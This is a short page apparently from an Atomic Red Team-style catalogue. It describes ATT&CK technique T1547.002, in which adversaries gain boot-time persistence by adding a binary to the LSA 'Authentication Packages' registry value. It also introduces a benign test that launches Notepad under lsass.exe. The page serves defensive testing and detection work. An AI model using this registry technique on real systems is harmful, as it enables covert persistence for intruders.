T1547.002 - Authentication Package
Description from ATT&CK (opens in a new tab)
Adversaries may abuse authentication packages to execute DLLs when the system boots. Windows authentication package DLLs are loaded by the Local Security Authority (LSA) process at system start. They provide support for multiple logon processes and multiple security protocols to the operating system.(Citation: MSDN Authentication Packages)
Adversaries can use the autostart mechanism provided by LSA authentication packages for persistence by placing a reference to a binary in the Windows Registry location
HKLM\SYSTEM\CurrentControlSet\Control\Lsa</code> with the key value of"Authentication Packages"=<target binary>. The binary will then be executed by the system when the authentication packages are loaded.
Atomic Tests
Atomic Test #1 - Authentication Package
Establishes persistence using a custom authentication package for the Local Security Authority (LSA).
After a reboot, Notepad.exe will be executed as child process of lsass.exe.
